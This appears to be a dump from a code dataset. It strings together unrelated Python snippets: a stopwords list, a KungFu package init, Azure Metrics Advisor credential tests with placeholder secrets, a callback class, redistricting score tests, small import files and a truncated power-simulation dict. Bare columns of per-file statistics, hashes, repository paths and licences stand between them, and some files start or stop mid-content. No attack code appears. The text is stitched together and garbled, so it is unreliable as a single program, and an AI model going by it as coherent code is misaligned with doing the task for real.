il,tip,to,together,too,took,top,toward,towards,tried,tries,truly,try,trying,ts,twelve,twenty,twice,two,u,un,under,unfortunately,unless,unlike,unlikely,until,unto,up,upon,ups,ur,us,use,used,useful,usefully,usefulness,uses,using,usually,v,value,various,ve,very,via,viz,vol,vols,vs,w,wai,wang,want,wants,was,wasn,wasn't,wasnt,way,we,we'd,we'll,we're,we've,wed,welcome,well,went,were,weren,weren't,werent,wha,what,what'll,what's,whatever,whats,when,when's,whence,whenever,where,where's,whereafter,whereas,whereby,wherein,wheres,whereupon,wherever,whether,which,while,whim,whither,who,who'll,who's,whod,whoever,whole,whom,whomever,whos,whose,why,why's,widely,will,willing,wish,with,within,without,wnt,won,won't,wonder,wont,words,world,would,wouldn,wouldn't,wouldnt,www,x,y,yah,yee,yes,yet,yoo,you,you'd,you'll,you're,you've,youd,your,youre,yours,yourself,yourselves,yuu,z,zero" def get_stopwords_hardcoded(): return stopwords_list.split(',')
598.3
5,717
0.807789
996
5,983
4.848394
0.818273
0.00994
0.012425
0.013253
0.005798
0.005798
0
0
0
0
0
0.000168
0.007688
5,983
9
5,718
664.777778
0.813205
0.031088
0
0
0
0.333333
0.983943
0.105318
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
0
0
0
1
1
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
9
d005954ae6d0bcd8d91374b1baabcf99c53c3c13
539
py
Python
srcs/python/kungfu/tensorflow/__init__.py
Pandinosaurus/KungFu
80dfa463450330e920b413f65cc49d8e013b84a9
[ "Apache-2.0" ]
291
2019-10-25T16:37:59.000Z
2022-03-17T21:47:09.000Z
srcs/python/kungfu/tensorflow/__init__.py
Pandinosaurus/KungFu
80dfa463450330e920b413f65cc49d8e013b84a9
[ "Apache-2.0" ]
56
2019-10-26T08:25:33.000Z
2021-09-07T11:11:51.000Z
srcs/python/kungfu/tensorflow/__init__.py
Pandinosaurus/KungFu
80dfa463450330e920b413f65cc49d8e013b84a9
[ "Apache-2.0" ]
53
2019-10-25T17:45:40.000Z
2022-02-08T13:09:39.000Z
from .variables import (create_assign_op_for, create_placeholder_for, create_setter, eval_batch_size, eval_gradient_noise_scale, get_batch_size, get_or_create_batch_size, get_or_create_global_variable) __all__ = [ 'create_assign_op_for', 'create_placeholder_for', 'create_setter', 'eval_batch_size', 'eval_gradient_noise_scale', 'get_batch_size', 'get_or_create_batch_size', 'get_or_create_global_variable', ]
31.705882
69
0.649351
62
539
4.903226
0.322581
0.177632
0.157895
0.184211
0.927632
0.927632
0.927632
0.927632
0.927632
0.927632
0
0
0.282004
539
16
70
33.6875
0.78553
0
0
0
0
0
0.300557
0.185529
0
0
0
0
0
1
0
false
0
0.066667
0
0.066667
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d00f5b527af54b04406fd269644624cb31a34922
12,375
py
Python
sdk/metricsadvisor/azure-ai-metricsadvisor/tests/test_credential_entities.py
vincenttran-msft/azure-sdk-for-python
348b56f9f03eeb3f7b502eed51daf494ffff874d
[ "MIT" ]
1
2021-09-07T18:39:05.000Z
2021-09-07T18:39:05.000Z
sdk/metricsadvisor/azure-ai-metricsadvisor/tests/test_credential_entities.py
vincenttran-msft/azure-sdk-for-python
348b56f9f03eeb3f7b502eed51daf494ffff874d
[ "MIT" ]
null
null
null
sdk/metricsadvisor/azure-ai-metricsadvisor/tests/test_credential_entities.py
vincenttran-msft/azure-sdk-for-python
348b56f9f03eeb3f7b502eed51daf494ffff874d
[ "MIT" ]
1
2022-03-04T06:21:56.000Z
2022-03-04T06:21:56.000Z
# coding=utf-8 # ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- import pytest import functools from devtools_testutils import recorded_by_proxy from azure.ai.metricsadvisor import MetricsAdvisorAdministrationClient from azure.ai.metricsadvisor.models import ( DatasourceSqlConnectionString, DatasourceDataLakeGen2SharedKey, DatasourceServicePrincipal, DatasourceServicePrincipalInKeyVault ) from base_testcase import TestMetricsAdvisorClientBase, MetricsAdvisorClientPreparer, CREDENTIALS, ids MetricsAdvisorPreparer = functools.partial(MetricsAdvisorClientPreparer, MetricsAdvisorAdministrationClient, aad=False) class TestMetricsAdvisorAdministrationClient(TestMetricsAdvisorClientBase): @pytest.mark.parametrize("credential", CREDENTIALS, ids=ids) @MetricsAdvisorPreparer() @recorded_by_proxy def test_create_datasource_sql_connection_string(self, client, variables): credential_name = self.create_random_name("testsqlcredential") if self.is_live: variables["credential_name"] = credential_name try: credential = client.create_datasource_credential( datasource_credential=DatasourceSqlConnectionString( name=variables["credential_name"], connection_string=self.sql_server_connection_string, description="my credential", ) ) if self.is_live: variables["credential_id"] = credential.id assert credential.id is not None assert credential.name == variables["credential_name"] assert credential.credential_type == 'AzureSQLConnectionString' finally: self.clean_up(client.delete_datasource_credential, variables, key="credential_id") return variables @pytest.mark.parametrize("credential", CREDENTIALS, ids=ids) @MetricsAdvisorPreparer() @recorded_by_proxy def test_datasource_datalake_gen2_shared_key(self, client, variables): credential_name = self.create_random_name("testdatalakecredential") if self.is_live: variables["credential_name"] = credential_name try: credential = client.create_datasource_credential( datasource_credential=DatasourceDataLakeGen2SharedKey( name=variables["credential_name"], account_key="azure_datalake_account_key", description="my credential", ) ) if self.is_live: variables["credential_id"] = credential.id assert credential.id is not None assert credential.name == variables["credential_name"] assert credential.credential_type == 'DataLakeGen2SharedKey' finally: self.clean_up(client.delete_datasource_credential, variables, key="credential_id") return variables @pytest.mark.parametrize("credential", CREDENTIALS, ids=ids) @MetricsAdvisorPreparer() @recorded_by_proxy def test_datasource_service_principal(self, client, variables): credential_name = self.create_random_name("testserviceprincipalcredential") if self.is_live: variables["credential_name"] = credential_name try: credential = client.create_datasource_credential( datasource_credential=DatasourceServicePrincipal( name=variables["credential_name"], client_id="client_id", client_secret="client_secret", tenant_id="tenant_id", description="my credential", ) ) if self.is_live: variables["credential_id"] = credential.id assert credential.id is not None assert credential.name == variables["credential_name"] assert credential.credential_type == 'ServicePrincipal' finally: self.clean_up(client.delete_datasource_credential, variables, key="credential_id") return variables @pytest.mark.parametrize("credential", CREDENTIALS, ids=ids) @MetricsAdvisorPreparer() @recorded_by_proxy def test_datasource_service_principal_in_kv(self, client, variables): credential_name = self.create_random_name("testserviceprincipalcredential") if self.is_live: variables["credential_name"] = credential_name try: credential = client.create_datasource_credential( datasource_credential=DatasourceServicePrincipalInKeyVault( name=variables["credential_name"], key_vault_endpoint="key_vault_endpoint", key_vault_client_id="key_vault_client_id", key_vault_client_secret="key_vault_client_secret", service_principal_id_name_in_kv="service_principal_id_name_in_kv", service_principal_secret_name_in_kv="service_principal_secret_name_in_kv", tenant_id="tenant_id", description="my credential", ) ) if self.is_live: variables["credential_id"] = credential.id assert credential.id is not None assert credential.name == variables["credential_name"] assert credential.credential_type == 'ServicePrincipalInKV' finally: self.clean_up(client.delete_datasource_credential, variables, key="credential_id") return variables @pytest.mark.parametrize("credential", CREDENTIALS, ids=ids) @MetricsAdvisorPreparer() @recorded_by_proxy def test_list_datasource_credentials(self, client, variables): credential_name = self.create_random_name("testsqlcredential") if self.is_live: variables["credential_name"] = credential_name try: credential = client.create_datasource_credential( datasource_credential=DatasourceSqlConnectionString( name=variables["credential_name"], connection_string=self.sql_server_connection_string, description="my credential", ) ) if self.is_live: variables["credential_id"] = credential.id credentials = client.list_datasource_credentials() assert len(list(credentials)) > 0 finally: self.clean_up(client.delete_datasource_credential, variables, key="credential_id") return variables @pytest.mark.parametrize("credential", CREDENTIALS, ids=ids) @MetricsAdvisorPreparer() @recorded_by_proxy def test_update_datasource_sql_connection_string(self, client, variables): credential_name = self.create_random_name("testsqlcredential") if self.is_live: variables["credential_name"] = credential_name try: credential = client.create_datasource_credential( datasource_credential=DatasourceSqlConnectionString( name=variables["credential_name"], connection_string=self.sql_server_connection_string, description="my credential", ) ) if self.is_live: variables["credential_id"] = credential.id credential.connection_string = "update" credential.description = "update" credential_updated = client.update_datasource_credential(credential) assert credential_updated.description == "update" finally: self.clean_up(client.delete_datasource_credential, variables, key="credential_id") return variables @pytest.mark.parametrize("credential", CREDENTIALS, ids=ids) @MetricsAdvisorPreparer() @recorded_by_proxy def test_update_datasource_datalake_gen2_shared_key(self, client, variables): credential_name = self.create_random_name("testdatalakecredential") if self.is_live: variables["credential_name"] = credential_name try: credential = client.create_datasource_credential( datasource_credential=DatasourceDataLakeGen2SharedKey( name=variables["credential_name"], account_key="azure_datalake_account_key", description="my credential", ) ) if self.is_live: variables["credential_id"] = credential.id credential.account_key = "update" credential.description = "update" credential_updated = client.update_datasource_credential(credential) assert credential_updated.description == "update" finally: self.clean_up(client.delete_datasource_credential, variables, key="credential_id") return variables @pytest.mark.parametrize("credential", CREDENTIALS, ids=ids) @MetricsAdvisorPreparer() @recorded_by_proxy def test_update_datasource_service_principal(self, client, variables): credential_name = self.create_random_name("testserviceprincipalcredential") if self.is_live: variables["credential_name"] = credential_name try: credential = client.create_datasource_credential( datasource_credential=DatasourceServicePrincipal( name=variables["credential_name"], client_id="client_id", client_secret="client_secret", tenant_id="tenant_id", description="my credential", ) ) if self.is_live: variables["credential_id"] = credential.id credential.client_id = "update" credential.client_secret = "update" credential.tenant_id = "update" credential.description = "update" credential_updated = client.update_datasource_credential(credential) assert credential_updated.description == "update" finally: self.clean_up(client.delete_datasource_credential, variables, key="credential_id") return variables @pytest.mark.parametrize("credential", CREDENTIALS, ids=ids) @MetricsAdvisorPreparer() @recorded_by_proxy def test_update_datasource_service_principal_in_kv(self, client, variables): credential_name = self.create_random_name("testserviceprincipalcredential") if self.is_live: variables["credential_name"] = credential_name try: credential = client.create_datasource_credential( datasource_credential=DatasourceServicePrincipalInKeyVault( name=variables["credential_name"], key_vault_endpoint="key_vault_endpoint", key_vault_client_id="key_vault_client_id", key_vault_client_secret="key_vault_client_secret", service_principal_id_name_in_kv="service_principal_id_name_in_kv", service_principal_secret_name_in_kv="service_principal_secret_name_in_kv", tenant_id="tenant_id", description="my credential", ) ) if self.is_live: variables["credential_id"] = credential.id credential.key_vault_endpoint = "update" credential.key_vault_client_id = "update" credential.key_vault_client_secret = "update" credential.service_principal_id_name_in_kv = "update" credential.service_principal_secret_name_in_kv = "update" credential.tenant_id = "update" credential.description = "update" credential_updated = client.update_datasource_credential(credential) assert credential_updated.description == "update" finally: self.clean_up(client.delete_datasource_credential, variables, key="credential_id") return variables
46.698113
119
0.646465
1,103
12,375
6.921124
0.097915
0.080692
0.093398
0.028294
0.871889
0.861933
0.854598
0.854598
0.854598
0.854598
0
0.000885
0.269253
12,375
264
120
46.875
0.843304
0.025212
0
0.77459
0
0
0.129811
0.036413
0
0
0
0
0.069672
1
0.036885
false
0
0.02459
0
0.102459
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d03002c59dbefc343d7e473c4cb65b7ca3725698
1,966
py
Python
myelin/utils/callbacks.py
davidrobles/myelin
af76d4ec41f9b4f9be42fc12094aab6f879db770
[ "MIT" ]
null
null
null
myelin/utils/callbacks.py
davidrobles/myelin
af76d4ec41f9b4f9be42fc12094aab6f879db770
[ "MIT" ]
9
2020-03-24T15:46:12.000Z
2021-09-11T16:23:59.000Z
myelin/utils/callbacks.py
davidrobles/myelin
af76d4ec41f9b4f9be42fc12094aab6f879db770
[ "MIT" ]
null
null
null
class CallbackList: """Container abstracting a list of callbacks (inspired by Keras).""" def __init__(self, callbacks=None): self.callbacks = callbacks or [] def on_episode_begin(self, episode): """Called at the beginning of every episode.""" for callback in self.callbacks: callback.on_episode_begin(episode) def on_episode_end(self, episode, step): """Called at the end of every episode.""" for callback in self.callbacks: callback.on_episode_end(episode, step) def on_interaction_begin(self): """Called at the beginning of the agent-environment interaction.""" for callback in self.callbacks: callback.on_interaction_begin() def on_interaction_end(self, episode): """Called at the end of the agent-environment interaction.""" for callback in self.callbacks: callback.on_interaction_end(episode) def on_step_begin(self, step): """Called at the beginning of every step.""" for callback in self.callbacks: callback.on_step_begin(step) def on_step_end(self, step): """Called at the end of every step.""" for callback in self.callbacks: callback.on_step_end(step) class Callback: """Abstract base class used to build new callbacks (inspired by Keras).""" def on_episode_begin(self, episodes): """Called at the beginning of every episode.""" def on_episode_end(self, episode, step): """Called at the end of every episode.""" def on_interaction_begin(self): """Called at the beginning of the agent-environment interaction.""" def on_interaction_end(self, episode): """Called at the end of the agent-environment interaction.""" def on_step_begin(self, step): """Called at the beginning of every step.""" def on_step_end(self, step): """Called at the end of every step."""
33.896552
78
0.653103
257
1,966
4.840467
0.151751
0.048232
0.106109
0.096463
0.849678
0.769293
0.769293
0.731511
0.731511
0.731511
0
0
0.247202
1,966
57
79
34.491228
0.840541
0.339268
0
0.571429
0
0
0
0
0
0
0
0
0
1
0.464286
false
0
0
0
0.535714
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
8
d051c228a5ebe244edec76a94fb3ef48e60eef9b
4,945
py
Python
django/publicmapping/redistricting/tests/test_computed_scores.py
azavea/district-builder-dtl-pa
2906bc9eba52e5d9d05e3ed964990bd2c53f5e24
[ "Apache-2.0" ]
5
2018-08-18T13:34:21.000Z
2022-03-09T11:32:24.000Z
django/publicmapping/redistricting/tests/test_computed_scores.py
azavea/district-builder-dtl-pa
2906bc9eba52e5d9d05e3ed964990bd2c53f5e24
[ "Apache-2.0" ]
66
2018-04-10T15:45:31.000Z
2019-12-13T18:19:10.000Z
django/publicmapping/redistricting/tests/test_computed_scores.py
PublicMapping/districtbuilder-classic
6e4b9d644043082eb0499f5aa77e777fff73a67c
[ "Apache-2.0" ]
1
2021-09-23T00:06:08.000Z
2021-09-23T00:06:08.000Z
from base import BaseTestCase from redistricting.models import (Geolevel, Geounit, ScoreFunction, ComputedDistrictScore, ComputedPlanScore) class ComputedScoresTestCase(BaseTestCase): def test_district1(self): geolevel = Geolevel.objects.get(name='middle level') geounits = list( Geounit.objects.filter(geolevel=geolevel).order_by('id')) dist1ids = geounits[0:3] + geounits[9:12] dist2ids = geounits[6:9] + geounits[15:18] dist1ids = map(lambda x: str(x.id), dist1ids) dist2ids = map(lambda x: str(x.id), dist2ids) self.plan.add_geounits(self.district1.district_id, dist1ids, geolevel.id, self.plan.version) self.plan.add_geounits(self.district2.district_id, dist2ids, geolevel.id, self.plan.version) function = ScoreFunction.objects.get( calculator__endswith='SumValues', is_planscore=False) numscores = ComputedDistrictScore.objects.all().count() self.assertEqual( 0, numscores, 'The number of computed district scores is incorrect. (e:0, a:%d)' % numscores) district1 = self.plan.district_set.filter( district_id=self.district1.district_id, version=self.plan.version - 1)[0] expected = function.score(district1) score = ComputedDistrictScore.compute(function, district1) self.assertEqual( expected['value'], score['value'], 'The score computed is incorrect. (e:%0.1f, a:%0.1f)' % ( expected['value'], score['value'], )) numscores = ComputedDistrictScore.objects.all().count() self.assertEqual( 1, numscores, 'The number of computed district scores is incorrect. (e:1, a:%d)' % numscores) dist1ids = geounits[3:6] dist1ids = map(lambda x: str(x.id), dist1ids) self.plan.add_geounits(self.district1.district_id, dist1ids, geolevel.id, self.plan.version) district1 = self.plan.district_set.filter( district_id=self.district1.district_id, version=self.plan.version)[0] expected = function.score(district1) score = ComputedDistrictScore.compute(function, district1) self.assertEqual( expected['value'], score['value'], 'The score computed is incorrect. (e:%0.1f, a:%0.1f)' % ( expected['value'], score['value'], )) numscores = ComputedDistrictScore.objects.all().count() self.assertEqual( 2, numscores, 'The number of computed district scores is incorrect. (e:2, a:%d)' % numscores) def test_plan1(self): geolevel = Geolevel.objects.get(name='middle level') geounits = list( Geounit.objects.filter(geolevel=geolevel).order_by('id')) dist1ids = geounits[0:3] + geounits[9:12] dist2ids = geounits[6:9] + geounits[15:18] dist1ids = map(lambda x: str(x.id), dist1ids) dist2ids = map(lambda x: str(x.id), dist2ids) self.plan.add_geounits(self.district1.district_id, dist1ids, geolevel.id, self.plan.version) self.plan.add_geounits(self.district2.district_id, dist2ids, geolevel.id, self.plan.version) function = ScoreFunction.objects.get( calculator__endswith='SumValues', is_planscore=True) numscores = ComputedPlanScore.objects.all().count() self.assertEqual( 0, numscores, 'The number of computed plan scores is incorrect. (e:0, a:%d)' % numscores) score = ComputedPlanScore.compute(function, self.plan) self.assertEqual(9, score['value'], 'The score computed is incorrect. (e:9.0, a:%0.1f)' % score['value']) numscores = ComputedPlanScore.objects.all().count() self.assertEqual( 1, numscores, 'The number of computed plan scores is incorrect. (e:1, a:%d)' % numscores) dist1ids = geounits[3:6] dist1ids = map(lambda x: str(x.id), dist1ids) self.plan.add_geounits(self.district1.district_id, dist1ids, geolevel.id, self.plan.version) score = ComputedPlanScore.compute(function, self.plan) self.assertEqual(9, score['value'], 'The score computed is incorrect. (e:9.0, a:%0.1f)' % score['value']) numscores = ComputedPlanScore.objects.all().count() self.assertEqual( 2, numscores, 'The number of computed plan scores is incorrect. (e:2, a:%d)' % numscores)
36.62963
78
0.579171
521
4,945
5.443378
0.145873
0.050776
0.042313
0.027504
0.930183
0.930183
0.930183
0.910437
0.893512
0.893512
0
0.028888
0.306977
4,945
134
79
36.902985
0.798658
0
0
0.84
0
0
0.137108
0
0
0
0
0
0.1
1
0.02
false
0
0.02
0
0.05
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d054d660a61f6dcfe875001d38cb291457e67985
109
py
Python
hopex/constant/__init__.py
hopex-hk/hopex_Python
c97133535e014d4b8ee8c35b163fb96b03af9647
[ "Apache-2.0" ]
null
null
null
hopex/constant/__init__.py
hopex-hk/hopex_Python
c97133535e014d4b8ee8c35b163fb96b03af9647
[ "Apache-2.0" ]
null
null
null
hopex/constant/__init__.py
hopex-hk/hopex_Python
c97133535e014d4b8ee8c35b163fb96b03af9647
[ "Apache-2.0" ]
null
null
null
from hopex.constant.definition import * from hopex.constant.system import * from hopex.constant.test import *
36.333333
39
0.816514
15
109
5.933333
0.466667
0.303371
0.573034
0.516854
0
0
0
0
0
0
0
0
0.100917
109
3
40
36.333333
0.908163
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
d056655bc425e6af3d73cd5247d4b6348e32d20f
242
py
Python
practice/1. Twinkle twinkle.py
thekaranjit/pythonpractice
c87f535f694ee259a4d9de317f5b2eacd0e3748f
[ "Unlicense" ]
1
2018-06-21T23:15:18.000Z
2018-06-21T23:15:18.000Z
practice/1. Twinkle twinkle.py
thekaranjit/pythonpractice
c87f535f694ee259a4d9de317f5b2eacd0e3748f
[ "Unlicense" ]
null
null
null
practice/1. Twinkle twinkle.py
thekaranjit/pythonpractice
c87f535f694ee259a4d9de317f5b2eacd0e3748f
[ "Unlicense" ]
null
null
null
print('Twinkle, twinkle, little star, \n How I wonder what you are! \n Up above the world so high,\n Like a diamond in the sky. \nTwinkle, twinkle, little star, \n How I wonder what you are')
48.4
238
0.57438
37
242
3.756757
0.621622
0.18705
0.244604
0.258993
0.546763
0.546763
0.546763
0.546763
0.546763
0.546763
0
0
0.35124
242
4
239
60.5
0.88535
0
0
0
0
1
0.958159
0
0
0
0
0
0
1
0
true
0
0
0
0
1
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
7
d088e7ef82e108336ddc34b66946b99c2c35bbff
95
py
Python
net/__init__.py
aiainui/crnn-audio-classification
1e00177c692867bb8bed8bf5ae6196c612081c57
[ "MIT" ]
307
2019-03-17T04:43:13.000Z
2022-03-26T15:28:15.000Z
net/__init__.py
aiainui/crnn-audio-classification
1e00177c692867bb8bed8bf5ae6196c612081c57
[ "MIT" ]
20
2019-05-16T00:38:35.000Z
2022-03-18T03:22:45.000Z
net/__init__.py
aiainui/crnn-audio-classification
1e00177c692867bb8bed8bf5ae6196c612081c57
[ "MIT" ]
76
2019-05-15T18:07:09.000Z
2022-03-26T15:28:14.000Z
from net.model import * from net.loss import * from net.metric import * from net.audio import *
23.75
24
0.757895
16
95
4.5
0.4375
0.388889
0.541667
0
0
0
0
0
0
0
0
0
0.157895
95
4
25
23.75
0.9
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
d089d516e7c07e9763cce33369bd1b9b6899d765
508
py
Python
architect/components/specifications/stl/__init__.py
MIT-REALM/architect
1b5bbf6ddf08146cd3b8ad5c058539ac140e9ebb
[ "BSD-2-Clause" ]
2
2022-03-30T03:07:26.000Z
2022-03-30T17:35:21.000Z
architect/components/specifications/stl/__init__.py
MIT-REALM/architect
1b5bbf6ddf08146cd3b8ad5c058539ac140e9ebb
[ "BSD-2-Clause" ]
null
null
null
architect/components/specifications/stl/__init__.py
MIT-REALM/architect
1b5bbf6ddf08146cd3b8ad5c058539ac140e9ebb
[ "BSD-2-Clause" ]
null
null
null
from .formula import ( STLFormula, STLPredicate, STLNegation, STLAnd, STLOr, STLImplies, STLUntimedEventually, STLTimedEventually, STLUntimedUntil, STLTimedUntil, STLUntimedAlways, STLTimedAlways, ) __all__ = [ "STLFormula", "STLPredicate", "STLNegation", "STLAnd", "STLOr", "STLImplies", "STLUntimedEventually", "STLTimedEventually", "STLUntimedUntil", "STLTimedUntil", "STLUntimedAlways", "STLTimedAlways", ]
16.933333
27
0.637795
28
508
11.428571
0.571429
0.1375
0.20625
0.24375
0.9375
0.9375
0.9375
0.9375
0.9375
0.9375
0
0
0.255906
508
29
28
17.517241
0.846561
0
0
0
0
0
0.295276
0
0
0
0
0
0
1
0
false
0
0.035714
0
0.035714
0
1
0
1
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
d09d63f4cb236988ced5c55c4396420d9db5f5c9
68,622
py
Python
benchmarks/SimResults/combinations_spec_rr/oldstuff/cmp_bwavesgcccactusADMgromacs/power.py
TugberkArkose/MLScheduler
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
[ "Unlicense" ]
null
null
null
benchmarks/SimResults/combinations_spec_rr/oldstuff/cmp_bwavesgcccactusADMgromacs/power.py
TugberkArkose/MLScheduler
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
[ "Unlicense" ]
null
null
null
benchmarks/SimResults/combinations_spec_rr/oldstuff/cmp_bwavesgcccactusADMgromacs/power.py
TugberkArkose/MLScheduler
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
[ "Unlicense" ]
null
null
null
power = {'BUSES': {'Area': 1.33155, 'Bus/Area': 1.33155, 'Bus/Gate Leakage': 0.00662954, 'Bus/Peak Dynamic': 0.0, 'Bus/Runtime Dynamic': 0.0, 'Bus/Subthreshold Leakage': 0.0691322, 'Bus/Subthreshold Leakage with power gating': 0.0259246, 'Gate Leakage': 0.00662954, 'Peak Dynamic': 0.0, 'Runtime Dynamic': 0.0, 'Subthreshold Leakage': 0.0691322, 'Subthreshold Leakage with power gating': 0.0259246}, 'Core': [{'Area': 32.6082, 'Execution Unit/Area': 8.2042, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 5.66814e-06, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.202693, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 2.02403e-05, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.122718, 'Execution Unit/Instruction Scheduler/Area': 2.17927, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.328073, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.00115349, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.20978, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.369741, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.017004, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00962066, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00730101, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 1.00996, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00529112, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 2.07911, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.640258, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0800117, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0455351, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 4.84781, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.841232, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.000856399, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.55892, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.367206, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.0178624, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00897339, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.37721, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.114878, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.0641291, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.36547, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 5.59423, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 3.82383e-06, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0134034, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.096926, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0991264, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.0969298, 'Execution Unit/Register Files/Runtime Dynamic': 0.11253, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0442632, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00607074, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.234215, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.601679, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.0920413, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0345155, 'Execution Unit/Runtime Dynamic': 2.69948, 'Execution Unit/Subthreshold Leakage': 1.83518, 'Execution Unit/Subthreshold Leakage with power gating': 0.709678, 'Gate Leakage': 0.372997, 'Instruction Fetch Unit/Area': 5.86007, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.0041803, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate 